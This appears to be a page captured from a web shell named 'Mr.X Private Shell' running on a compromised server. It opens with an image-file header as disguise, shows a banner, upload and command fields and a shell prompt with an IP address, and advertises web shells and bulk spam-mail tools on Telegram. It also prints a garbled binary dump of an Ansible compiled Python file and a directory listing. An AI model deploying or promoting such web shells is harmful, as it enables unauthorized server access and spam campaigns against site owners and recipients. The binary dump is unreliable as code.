����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)gt�@sfddlmZmZmZeZddlmZddl	m
Z
ddlmZm
Z
dZdZddiZd	ZGd
d�d�ZdS)
�)�absolute_import�division�print_function)�	constants)�
DataLoader)�module_response_deepcopy�strip_internal_keys)�failed�skipped)Zattempts�changedZretriesZ_ansible_delegated_vars)Zansible_hostZansible_portZansible_userZansible_connection)Z_ansible_verbose_alwaysZ_ansible_item_label�_ansible_no_logZ_ansible_verbose_overridec@s`eZdZdZddd�Zedd��Zdd�Zd	d
�Zdd�Z	d
d�Z
ddd�Zdd�Zdd�Z
dS)�
TaskResultz�
    This class is responsible for interpreting the resulting data
    from an executed task, and provides helper methods for determining
    the result of a given task.
    NcCsL||_||_t|t�r"|��|_nt��|�|_|durBt�|_n||_dS)N)	�_host�_task�
isinstance�dict�copy�_resultr�load�_task_fields)�self�hostZtaskZreturn_dataZtask_fields�r�@/usr/lib/python3.9/site-packages/ansible/executor/task_result.py�__init__ s

zTaskResult.__init__cCs|j�dd�p|j��S)N�name)r�getrZget_name�rrrr�	task_name.szTaskResult.task_namecCs
|�d�S)Nr��
_check_keyrrrr�
is_changed2szTaskResult.is_changedcCs<d|jvr.|jd}|r.tdd�|D��r.dS|j�dd�S)N�resultscss$|]}t|t�o|�dd�VqdS)r
FN)rrr)�.0�resrrr�	<genexpr>;�z(TaskResult.is_skipped.<locals>.<genexpr>Tr
F)r�allr)rr"rrr�
is_skipped5s


zTaskResult.is_skippedcCsDd|jvs,d|jvr6ddd�|jdD�vr6|�d�S|�d�SdS)N�failed_when_resultr"TcSsg|]}d|vrd�qS)r)Tr)r#�xrrr�
<listcomp>Cr&z(TaskResult.is_failed.<locals>.<listcomp>r	)rr rrrr�	is_failedAs
��
zTaskResult.is_failedcCs
|�d�S)NZunreachablerrrrr�is_unreachableHszTaskResult.is_unreachableFcCs�|j�d�}tjo|j�d�}d}|r>|��r2|r:|��r>d}|dvrLd}nR|dvrZd}nD|dvrt|��rt|std}n*|dvr�|��r�d}n|d	vr�|��r�d}|S)
NZdebugger�
ignore_errorsFT)�always)�never)Z	on_failed)Zon_unreachable)Z
on_skipped)rr�CZTASK_DEBUGGER_IGNORE_ERRORSr,r-r()rZglobally_enabledZ	_debuggerZ_ignore_errors�retrrr�needs_debuggerKs zTaskResult.needs_debuggercCs^t|jt�r$||jvr$|j�|d�Sd}|j�dg�D]}t|t�r6||�|d�O}q6|SdS)z/get a specific key from the result or its itemsFr"N)rrrr)r�key�flagr$rrrr `s
zTaskResult._check_keyc	Cs,t|j|ji|j�}|jr2|jjtjvr2td}nt}i}tD]H}||j	vr>i||<t|D](}||j	|vr\|j	|||||<q\q>t
|jjt�r�|jjs�|j	�
dd�r�ddi}tD]}||j	vr�|j	|||<q�||_	n>|j	�rt|j	�|_	|D]}||j	vr�|j	|=q�t|j	td�|j	�|�|S)z# returns 'clean' taskresult object )Z
invocationrFZcensoredz\the output has been hidden due to the fact that 'no_log: true' was specified for this result)�
exceptions)r
rrr�actionr1Z
_ACTION_DEBUG�_IGNORE�
_SUB_PRESERVErrZno_log�boolr�	_PRESERVErr�CLEAN_EXCEPTIONS�update)	r�result�ignoreZsubset�subr4r*ZpreserveZ
remove_keyrrr�
clean_copyls2

$


zTaskResult.clean_copy)N)F)�__name__�
__module__�__qualname__�__doc__r�propertyrr!r(r,r-r3r rArrrrr
s


r
N)Z
__future__rrr�typeZ
__metaclass__Zansiblerr1Zansible.parsing.dataloaderrZansible.vars.cleanrrr8r;r9r<r
rrrr�<module>s

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 273 B 0644
__init__.cpython-39.pyc File 273 B 0644
action_write_locks.cpython-39.opt-1.pyc File 746 B 0644
action_write_locks.cpython-39.pyc File 746 B 0644
interpreter_discovery.cpython-39.opt-1.pyc File 6.41 KB 0644
interpreter_discovery.cpython-39.pyc File 6.41 KB 0644
module_common.cpython-39.opt-1.pyc File 40.06 KB 0644
module_common.cpython-39.pyc File 40.06 KB 0644
play_iterator.cpython-39.opt-1.pyc File 14.37 KB 0644
play_iterator.cpython-39.pyc File 14.37 KB 0644
playbook_executor.cpython-39.opt-1.pyc File 6.89 KB 0644
playbook_executor.cpython-39.pyc File 6.89 KB 0644
stats.cpython-39.opt-1.pyc File 2.39 KB 0644
stats.cpython-39.pyc File 2.39 KB 0644
task_executor.cpython-39.opt-1.pyc File 26.54 KB 0644
task_executor.cpython-39.pyc File 26.54 KB 0644
task_queue_manager.cpython-39.opt-1.pyc File 11.83 KB 0644
task_queue_manager.cpython-39.pyc File 11.83 KB 0644
task_result.cpython-39.opt-1.pyc File 4.27 KB 0644
task_result.cpython-39.pyc File 4.27 KB 0644